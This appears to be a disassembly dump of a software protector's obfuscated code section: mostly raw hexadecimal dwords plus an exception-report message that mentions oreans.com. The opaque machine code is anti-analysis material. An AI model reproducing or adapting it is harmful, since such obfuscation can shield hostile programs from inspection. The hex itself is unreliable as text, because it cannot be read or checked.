6A05EA28h, 0B9BD8B00h, 6A05EA0Ch, 0DBD8900h dd 0F05EA2Dh, 688h, 0C5B50900h, 0FF05EA1Ch, 0ED2849B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0F7CAB5DAh, 0BE93D0Fh, 0C4000000h, 9B75B464h dd 5967D545h, 95FF2DB1h, 5ED2835h, 0EC1BD89h, 0FC5605EAh dd 0FC0855Fh, 685h, 0E1BD0300h, 0FF05EA1Bh, 0ED2849B5h dd 0AE905h, 1A5C0000h, 759E000Ch, 390474CDh, 2C7595FFh dd 0CA8105EAh, 51CCC97Eh, 850FC085h, 4, 0C753BA66h, 8166006Ah dd 68A8E1F1h, 80h, 73DF8166h, 29036ADFh, 0EA0AC1B5h, 0DF816605h dd 6A4C10h, 66F6BA66h, 8D89006Ah, 5EA06A1h, 68h, 0C8BF0FC0h dd 28C1B5FFh, 0BF0F05EDh, 195FFCBh, 2305EA25h, 0EA02B9BDh dd 0FFF88305h, 631850Fh, 14E80000h, 64000000h, 4857DF41h dd 69D2E82Fh, 0A3CB0D7Ch, 28520F86h, 31978CD5h, 0EA140995h dd 85FF5F05h, 5ED332Fh, 11E9h, 78596C00h, 908F9DA3h, 0B5082E20h dd 0D6160CF0h, 0BD83A226h, 5ED332Fh, 66840F02h, 81000004h dd 7E8068DAh, 9F858D19h, 6A005AF5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5277C351h dd 75664AE0h, 0E86325A5h, 11h, 0E77C3B61h, 1B66F87h, 0DD520290h dd 5AA3BF81h, 0FEB70F00h, 0E9D0FF5Fh, 14h, 0EDFA21Dh, 9563D742h dd 0F8EA206Ch, 9151A88Ch, 9BB0EB81h, 0EFF2858Dh, 0E180005Ah dd 6AD0FFFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 4CA1C352h, 0DD10AB98h, 29C08BC7h dd 0EA154D9Dh, 0D9BD8305h, 5EA13h, 0BD830975h, 5EA2EE5h dd 50197400h, 0B8C08B53h, 7D8h, 0D798589h, 9D8D05EAh, 5ECDDF5h dd 585BD3FFh, 2EE5BD83h, 740005EAh, 0B8535017h, 7D8h, 0D798589h dd 9D8D05EAh, 5ECDAE4h, 585BD3FFh, 6AD1BF0Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0B38CC355h, 1555BD89h, 0C08B05EAh, 5E8h, 53FF100h, 95892CB9h dd 5EA07C9h, 6BD7815Ah, 6805A5C4h, 0F003Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 94C35545h, 39D8320Bh dd 0EAAA88BFh, 0ED8D2335h, 6A05EA12h, 24B96600h, 0BF006AE5h dd 0E401957h, 2AA995FFh, 0F98B05EAh, 0AE9h, 10B76400h dd 0E55C9E49h, 85D3A80Eh, 35952BC0h, 6605EA0Dh, 64B7C981h dd 28458589h, 6A05EDh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 2ADE16C3h, 0E9812360h, 258CB673h dd 0F01FF68h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8D8B65FDh, 5EA112Dh, 15DDBD83h, 0F0005EAh dd 5C84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 89465A91h, 0FDBD8B1Dh, 8B05EA2Eh dd 0EA23B195h, 0A2858D05h, 8905ED28h, 0EA1C3195h, 39B58905h dd 0E905EA2Ah, 20h, 2E3D950Bh, 7E805EAh, 4D000000h, 0C86E588Ah dd 958B523Fh, 5EA1C1Dh, 78858D5Fh, 0F905ED28h, 5E950h dd 0C7840000h, 51630C4Bh, 29EC8A60h, 0EA24918Dh, 0FF5F6105h dd 0ED2845B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0B98F1C90h, 29682F6h dd 283D95FFh, 0B70F05EDh, 498589FAh, 5605ED28h, 1A11B966h dd 0C7F58A5Fh, 0EA2D0985h, 5, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0CC99D13Eh dd 0BE3F0482h, 840F6166h, 6, 17F58D8Bh, 0BD8305EAh dd 5ED2849h, 73840F00h, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B0AC357h dd 0EA2C7195h, 27858D05h, 0E905ED2Bh, 10h, 0F48E5BEFh dd 49FA819Eh, 2BF933A0h, 563520DDh, 68A0F50h, 0F000000h dd 8Bh, 0E8016A00h, 0Ch, 5C5E0EC3h, 0FE8CE6A5h, 66FFF68Ch dd 0FA7D79BAh, 0B5FF5928h, 5ED2849h, 0FFCFB70Fh, 0ED284195h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A8904721h, 4201F8F5h, 10E8h, 35E02300h dd 83FE8D16h, 7E37B9FEh, 0F6E2AD37h, 219D0945h, 5A05EA02h dd 2849B5FFh, 0BD8905EDh, 5EA2C29h, 2C7595FFh, 0AE905EAh dd 0F7000000h, 0E7E39300h, 0B67081F4h, 1FF68DCh, 83FC000Fh dd 0EA15DDBDh, 840F0005h, 1Bh, 5EE0BA66h, 28A2858Dh, 0E78105EDh dd 32AAE920h, 12E9h, 4D952B00h, 8D05EA1Eh, 0ED287885h dd 99958B05h, 5005EA1Eh, 0B5FFF98Bh, 5ED2845h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 0FAA270Fh dd 95FFC9B7h, 5ED283Dh, 858982B5h, 5ED2849h, 31F18D0Bh dd 0B5FF05EAh, 5ED2849h, 95FFEB8Ah, 5ED2839h, 17059D89h dd 0B5FF05EAh, 5ED2849h, 2C7595FFh, 35705EAh, 0EA0841BDh dd 0A1E95A05h, 29FFFFF6h, 0EA15E195h, 92B5FF05h, 8B05ED33h dd 0EA148D95h, 1995FF05h, 6A05EA2Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BE0C352h dd 0EA2D51BDh, 0EE805h, 0D4F70000h, 328A9F2Dh, 0A30EAEC1h dd 8ECAD25Bh, 1DC98531h, 8B5F05EAh, 0EA06A985h, 0E9958B05h dd 0E905EA2Ah, 5FCh, 0B272F281h, 0B58D61BAh, 5ED2B47h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2EC35646h dd 4B954091h, 0F8B70F3Ah, 858DD68Bh, 5ECD7DFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 53C35646h, 5031A3Dh dd 60B935A5h, 61D08BF5h, 6AD0FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0B4C2F7C3h, 0FE242DBh dd 882h, 8D8B6000h, 5EA1109h, 66006A61h, 0AB31F281h, 0FFABDA80h dd 0EA2E7D95h, 5E905h, 5A80000h, 66DEF8FCh, 4A71F281h dd 858DF38Bh, 5ECD7DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 63C35747h, 0BB864767h, 80C3B808h, 0D0FF8FCDh dd 5860Fh, 81660000h, 0E9929DDFh, 14h, 0AC8C1C9Fh, 1C5352B0h dd 24A1B4E0h, 66BBC41Bh, 109FD304h, 0E860006Ah, 0Ah, 28C46ADDh dd 7A437267h, 8B662AF4h, 0FF6159F1h, 0EA2E7D95h, 8BFA8B05h dd 418D8BC0h, 8305EA1Dh, 0EA13D9BDh, 9750005h, 2EE5BD83h dd 740005EAh, 8B535019h, 7D9B8C0h, 85890000h, 5EA0D79h dd 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h dd 7D9B853h, 85890000h, 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh dd 8D8B585Bh, 5EA31C1h, 2D618D8Bh, 8D8B05EAh, 5EA0BF9h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 255B1CC3h, 0B55F899h, 0E580679Dh, 6A500Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 958B9BC3h, 5EA0DC5h, 0B589D88Bh, 5EA1541h, 9D8D53F5h dd 5EA1A91h, 389038Bh, 8950438Bh, 9D8D5043h, 5ED332Bh dd 389038Bh, 6E95Bh, 0CF70000h, 0E325256Fh, 83F28166h dd 6AF897h, 2F298589h, 858D05EAh, 5ED332Bh, 50FBB70Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h dd 0CEB84DA8h, 8BA54313h, 0EA18018Dh, 6A606A05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 4425C356h, 24CAF063h, 91858D8Ah, 8905EA1Ah, 0EA2C69B5h dd 0A2B95005h, 6A6B37ABh, 918D8B00h, 0F05EA13h, 588h, 0A068BA00h dd 6A0956h, 870Fh, 680000h, 6A000018h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8312C350h dd 0F2816632h, 0E9535105h, 5, 9D4704CAh, 195FF0Bh, 2905EA2Fh dd 0EA15D99Dh, 0D95FF05h, 6005EA23h, 0FF61F38Bh, 0ED3392B5h dd 606DB905h, 95FF0D8Fh, 5EA2A19h, 68F0Fh, 958B0000h, 5EA0089h dd 1A91858Dh, 896005EAh, 0EA29D585h, 72BA6605h, 408B61D0h dd 0D5BD8918h, 0C705EA2Ah, 0EA253985h, 5, 0DBD98000h, 679B589h dd 0BD8305EAh, 5EA15DDh, 33840F00h, 0B2000000h, 8C3DFC3Fh dd 0F000000h, 1B383h, 870F5600h, 12h, 0DE9h, 3E6F9F00h dd 0D27B6747h, 3F409BAAh, 0E95F3C9Ah, 19h, 2BA59589h, 963D05EAh dd 0F000000h, 18383h, 0D2BF0F00h, 0B1D98166h, 9F858D3Fh dd 89005AF5h, 0EA09899Dh, 0FD0FF05h, 38Dh, 0B8D58000h dd 0EFF2858Dh, 0F281005Ah, 29B63F32h, 0F53D0FFh, 0D87h dd 8E900h, 0DAC80000h, 0B8A45F76h, 8B5984DFh, 83CCB2C0h dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h dd 0BC6B8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh dd 0BD83585Bh, 5EA2EE5h, 50177400h, 0BC6B853h, 85890000h dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0BF66585Bh, 0D7817103h dd 599A133Ch, 1401B589h, 0C08B05EAh, 25319D89h, 0F88305EAh dd 6F850FFFh, 0E8000000h, 11h, 0E372C755h, 0B9CAB34h, 510C011Ah dd 3FF6CCADh, 9D2956B0h, 5EA25C1h, 85C75F59h, 5EA2E55h dd 0 dd 29098D89h, 63E905EAh, 0F000001h, 128Ah, 0AE800h, 63390000h dd 0A287C417h, 0E44BFF71h, 0E85F6160h, 0Ch, 0BB73732Bh dd 15966F67h, 30BD330h, 0CE58D31h, 0E95905EAh, 48h, 131D8589h dd 0F88305EAh, 39850F01h, 0E9000000h, 8, 0BB35AF54h, 9B8C9911h dd 14BE9h, 1F8D0F00h, 0E8000000h, 14h, 8E1FE852h, 0B6B44FF0h dd 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 56CA8166h, 0C88A5F0Eh dd 0FFF15FE9h, 13E9FFh, 0B45D0000h, 0BC24248Ch, 6F6B6C06h dd 79E519CAh, 0E01A88B4h, 0FA8B6682h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 4864A8C3h, 81F08732h, 81AEB0C2h, 0E1BD2963h, 8305EA25h dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h dd 7DDB8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7DDB853h, 85890000h dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0E680585Bh, 898D29BDh dd 0F505EA2Bh, 12E9C08Bh, 0EA000000h, 0E3ABF9B3h, 7577873Fh dd 0CBC1997Ch, 2D2F7387h, 2B7E958h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 570F31C3h dd 0AEFCF3F8h, 858D0523h, 5ED312Fh, 8589CA8Ah, 5ED3327h dd 11E8h, 5C823400h, 0DE07FE29h, 1E7549A9h, 274B6002h dd 8B604F16h, 0EA157195h, 91850305h, 6105EA31h, 5EE95Ah dd 0BD290000h, 5EA0F0Dh, 2F37858Dh, 6A05EDh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8BE4D7C3h dd 40447A33h, 8FDB589h, 0EE805EAh, 6F000000h, 6934E978h dd 1BACC55Eh, 0E4E7D30Ch, 5DB5899Bh, 5A05EA1Dh, 33278589h dd 8B6005EDh, 0EA2065BDh, 61F88B05h, 858D346Ah, 5EA240Dh dd 27B5FF50h, 6A05ED33h, 0F995FF00h, 8305EA02h, 840F07F8h dd 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 1A4585C6h, 685605EAh dd 9CA8B852h, 1D45B5FFh, 858D05EAh, 5EA3969h, 46AD0FFh dd 100068h, 6A646A00h, 89D0FF00h, 0ED339A85h, 4585C605h dd 4705EA1Ah, 18AC9B68h, 45B5FFECh, 8D05EA1Dh, 0EA396985h dd 0FFD0FF05h, 0C6F08BD0h, 0EA1A4585h, 61684F05h, 0FFC62F26h dd 0EA2B19B5h, 69858D05h, 0FF05EA39h, 969D8DD0h, 5305ED33h dd 0FF56286Ah, 75C085D0h, 4585C600h, 4105EA1Ah, 87649868h dd 19B5FFDBh, 8D05EA2Bh, 0EA396985h, 89D0FF05h, 0ED33B385h dd 4585C605h, 4C05EA1Ah, 0A4E7A468h, 19B5FF80h, 8D05EA2Bh dd 0EA396985h, 8BD0FF05h, 0ED339A9Dh, 45B8D05h, 9F9D8D53h dd 5305ED33h, 0D0FF006Ah, 339A9D8Bh, 3C705EDh, 1, 20C43C7h dd 0C7000000h, 0EA160D85h, 5, 6A006A00h, 8B006A00h, 0ED339A9Dh dd 6A5305h, 3396B5FFh, 95FF05EDh, 5ED33B3h, 1A4585C6h dd 684505EAh, 92A5F797h, 1C8DB5FFh, 858D05EAh, 5EA3969h dd 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 339A9D8Bh dd 43C705EDh, 0Ch, 6A006A00h, 9A9D8B00h, 5305ED33h, 0B5FF006Ah dd 5ED3396h, 33B395FFh, 0B5FF05EDh, 5ED3396h, 230D95FFh dd 6A05EAh, 2E7D95FFh, 8D3305EAh, 5EA2929h, 12E9h, 8749BB00h dd 29A74D11h, 2B94307h, 1108AAA1h, 6A5CD4E8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 5545C355h, 0F1F2D456h, 0E960AC99h, 0Ah, 1384DC65h, 886214D1h dd 880FB5E8h, 6, 0DD53CA81h, 66616DB1h, 0FE981BFh, 0C8Fh dd 7E900h, 0F26E0000h, 0A9A9FEF3h, 0C8858D12h, 305ED67h dd 0EA2EB98Dh, 8D035005h, 5EA23B9h, 35FF64h, 57000000h dd 2E05BD8Bh, 645F05EAh, 2589h, 0BD890000h, 5EA0CE9h, 29F5BD83h dd 0F0005EAh, 3984h, 41958B00h, 8305EA2Ch, 0EA02D1BDh dd 850F0105h, 26h, 60F7DBFh, 219D8901h, 8005EA17h, 0ED37B3BDh dd 850F0005h, 0Eh, 34D2BF66h, 172E9h, 35E58000h, 0DB33EC8Ah dd 0D766D781h, 0B5892F83h, 5EA0FF9h, 6AC033h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 742219C3h dd 9109D443h, 4027EAA9h, 0B073F0Fh, 58F64h, 83000000h dd 81FC04C4h, 50C385F7h, 0FFFB8335h, 43840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0EADB1CC3h, 28421961h, 2B958589h, 0E2E905EAh, 0E9000000h dd 11h, 2D222859h, 82CF10ADh, 659382B5h, 0D077FC6Ah, 77E943h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 9708B0C3h, 0BF0F9660h, 244C8BD6h, 0A481C70Ch dd 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h dd 0E8550Ch, 5D000000h, 67EAED81h, 838B05EDh, 0B8h, 6876858Dh dd 838905EDh, 0B8h, 0C3C0335Dh, 329D9D09h, 0AE905EAh, 0D0000000h dd 77219BD1h, 0DAA33F5Fh, 0E0858D3Fh, 0F05ED67h, 8950FBBFh dd 0EA0A61B5h, 35FF6405h, 0 dd 0E9950BF5h, 6405EA16h, 2589h, 0CA800000h, 0AB93Bh, 4B80000h dd 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h dd 345FE8h, 68FB81EDh, 75564D58h, 0BD85C70Ah, 105EA31h dd 64000000h, 58Fh, 0C4830000h, 85896004h, 5EA3171h, 4456F081h dd 6A615458h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 40CFC353h, 8BE8C2E3h, 0FC08BD1h dd 8Dh, 258D0B00h, 8305EA23h, 0EA13D9BDh, 9750005h, 2EE5BD83h dd 740005EAh, 8B535019h, 43DB8C0h, 85890000h, 5EA0769h dd 0DE5C9D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h dd 43DB853h, 85890000h, 5EA0769h, 0DAFD9D8Dh, 0D3FF05ECh dd 44B9585Bh, 895E2503h, 0EA1675B5h, 0B5B58905h, 8B05EA2Eh dd 13AE9C0h, 40000h, 2E310000h, 353538h, 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dd 2F5DBD83h, 0F0005EAh, 12D84h, 14858D00h, 5005ECD9h dd 0D87E858Dh, 685005ECh, 80000001h, 0D92495FFh, 858D05ECh dd 5ED6921h, 2B858D50h, 5005ED69h, 6A006Ah, 0D892858Dh dd 0FF5005ECh, 0ECD914B5h, 0CD95FF05h, 8D05EA13h, 0ED692185h dd 858D5005h, 5ED692Fh, 6A006A50h, 0A4858D00h, 5005ECD8h dd 0D914B5FFh, 95FF05ECh, 5EA13CDh, 6921858Dh, 8D5005EDh dd 0ED693B85h, 6A5005h, 858D006Ah, 5ECD8F1h, 14B5FF50h dd 0FF05ECD9h, 0EA13CD95h, 21858D05h, 5005ED69h, 6943858Dh dd 6A5005EDh, 8D006A00h, 0ECD90F85h, 0B5FF5005h, 5ECD914h dd 13CD95FFh, 858D05EAh, 5ED6921h, 3F858D50h, 5005ED69h dd 6A006Ah, 0D8F8858Dh, 0FF5005ECh, 0ECD914B5h, 0CD95FF05h dd 8D05EA13h, 0ED692185h, 858D5005h, 5ED6933h, 6A006A50h dd 858D00h, 5005ECD9h, 0D914B5FFh, 95FF05ECh, 5EA13CDh dd 6921858Dh, 8D5005EDh, 0ED693785h, 6A5005h, 858D006Ah dd 5ECD907h, 14B5FF50h, 0FF05ECD9h, 0EA13CD95h, 14B5FF05h dd 0FF05ECD9h, 0EA305195h, 0A2E905h, 0BD830000h, 5EA0961h dd 95840F00h, 83000000h, 0EA02D1BDh, 850F0005h, 11h, 0F5958Bh dd 0C28105EAh, 1CF8h, 0FE9h, 91958D00h, 8B05EA1Ah, 0C2813452h dd 3BD4C340h, 2B859589h, 0BD8305EAh, 5EA2B85h, 55840F00h dd 8B000000h, 0EA2B859Dh, 4CC38305h, 8589038Bh, 5ED692Bh dd 2B859D8Bh, 0C38305EAh, 89038B50h, 0ED692F85h, 859D8B05h dd 8305EA2Bh, 38B54C3h, 693B8589h, 9D8B05EDh, 5EA2B85h dd 8B58C383h, 3F858903h, 8B05ED69h, 0EA2B859Dh, 5CC38305h dd 8589038Bh, 5ED6933h, 2F5DBD83h, 0F0005EAh, 0D85h, 61BD8300h dd 5EA09h, 68840Fh, 0B5FF0000h, 5ED6943h, 6937B5FFh, 0B5FF05EDh dd 5ED6933h, 693FB5FFh, 0B5FF05EDh, 5ED693Bh, 692FB5FFh dd 0B5FF05EDh, 5ED692Bh, 6925858Dh, 8D5005EDh, 0ED695D85h dd 858D5005h, 5EA20FDh, 6995FF50h, 8305EA0Ch, 406A24C4h dd 6947858Dh, 8D5005EDh, 0EA20FD85h, 6A5005h, 2F995FFh dd 16A05EAh, 2E7D95FFh, 0C18B05EAh, 0D7B70F60h, 0E680C08Bh dd 3830F04h, 0F000000h, 0BD83CEB7h, 5EA13D9h, 83097500h dd 0EA2EE5BDh, 19740005h, 0C08B5350h, 40EB8h, 79858900h dd 8D05EA0Dh, 0ECDDF59Dh, 5BD3FF05h, 0E5BD8358h, 5EA2Eh dd 53501774h, 40EB8h, 79858900h, 8D05EA0Dh, 0ECDAE49Dh dd 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0F7B70F72h, 870FD78Bh, 2, 0BA66F18Bh dd 0C08B83B5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 4DC35040h, 6C08BFE0h, 0B9668425h, 8F0F4B22h, 5 dd 0ABF54EBEh, 0F5BD831Ah, 5EA29h, 29840Fh, 0CCE90000h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 3BA5C352h, 816652F0h, 8C6073E6h dd 5870FDFh, 52000000h, 5AD1B70Fh, 4C7F766h, 90850F00h dd 56000001h, 0BF5AD38Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F9C35242h dd 0D4749DC6h, 0DA813A88h, 3597BAFFh, 6F1C9D8Dh, 6A05EDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 3CA572C3h, 32823AC6h, 1C8950C9h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 76184398h dd 64D78B0Dh, 35FFh, 66570000h, 5948CFBEh, 0FE9h, 4E9C0000h dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 258964h, 57000000h dd 7E9h, 5CC5CE00h, 0F3F70EBAh, 6AC48B5Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0CD4C355h dd 0F5D08B3Ah, 0EB01CDh, 50D3BF0Fh, 58F645Eh, 0 dd 8E9h, 4C216E00h, 65217918h, 4C48300h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 85C35343h, 0BA72804h dd 70840FC0h, 8B000000h, 0B70F61F3h, 62BD8DD2h, 0B805EA70h dd 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 4BC35141h, 8166410Fh, 0FF4C03D6h, 5C8B57E7h, 838B1024h dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h dd 0FC3C033h, 787h, 1860F00h, 0F5000000h, 3890F60h, 0F000000h dd 6161D2BFh, 7C12BA66h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 857797C3h, 0F4EFD92h dd 0F7B70F8Ah, 13D9BD83h, 750005EAh, 0E5BD8309h, 5EA2Eh dd 53501974h, 0EB8C08Bh, 89000004h, 0EA076985h, 5C9D8D05h dd 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh, 17740005h, 0EB85350h dd 89000004h, 0EA076985h, 0FD9D8D05h, 0FF05ECDAh, 6A585BD3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 8331C351h, 0FC23151Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9AC35040h, 4A072A2Fh, 5CCD6D93h dd 8BCFBF0Fh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8BFCF4AAh, 1718EBC2h, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0ED7061EDh dd 4C26105h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5ED7099h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5ED709Dh dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 85858B00h, 8605EA2Bh dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 5EA315Dh, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 85858B00h, 0C605EA2Bh, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 0EA2B8585h, 0A188605h dd 0F6850FDBh, 0C7FFFFFFh, 0EA293D85h, 5, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5EA293Dh dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 5ED703Eh, 1 dd 4C010F50h, 858FFE24h, 5ED7042h, 703A858Dh, 0BD8D05EDh dd 5ED7042h, 23E93889h, 8D000000h, 0EA1A9185h, 38408B05h dd 46F31705h, 3A85899Bh, 8D05ED70h, 0EA1A9185h, 3C408B05h dd 703E8589h, 858D05EDh, 5ED7057h, 315D8589h, 87E905EAh dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5ED72CAh dd 0CDD8589h, 858D05EAh, 5ED72F2h, 75D8589h, 858D05EAh dd 5ED731Ah, 15758589h, 0BE805EAh, 79000000h, 0BC293AE7h dd 0E2044755h, 10E9DDE7h, 0A2000000h, 5408F7EDh, 0B9F04862h dd 56E72521h, 5BB68376h, 0BE9h, 1361A400h, 89EDB43Ch, 94247C8Ah dd 73AFC381h, 0AE90000h, 8E000000h, 95207DAEh, 0C6C35FABh dd 0FD22BB7h, 34FFF3B7h, 13E91Ah, 0B83F0000h, 0F375FC30h dd 538BC46Bh, 277DDFA7h, 1C7CA2A8h, 0DBF59BBh, 8159D7F5h dd 1CA6E6C1h, 81C18A33h, 0D2CFE4C1h, 0EE97Ah, 1E890000h dd 0B60FAA4Eh, 0ECAA2D61h, 0A8F05199h, 0D68E981h, 0CE96936h dd 93000000h, 0F7F81B48h, 0C62702Dh, 51C649E8h, 8C0Fh dd 48F0000h, 8E0F13h, 50000000h, 0EA815FFCh, 47F18684h dd 80C281F8h, 8147F186h, 0FF8D70FAh, 1B850FFFh, 0B8000000h dd 0B3A6596h, 49E9h, 0D7A19900h, 0CEC20178h, 4436A995h dd 864683Ah, 11E8B81Bh, 2B000000h, 0A9E1B846h, 0B4DD571Ah dd 15C1A0Ch, 0F33FAFFEh, 0A870Fh, 5E90000h, 83000000h dd 3AA5E898h, 0FF34E958h, 52EFFFFh, 36C52822h, 96BDAD08h dd 8EB358Bh, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 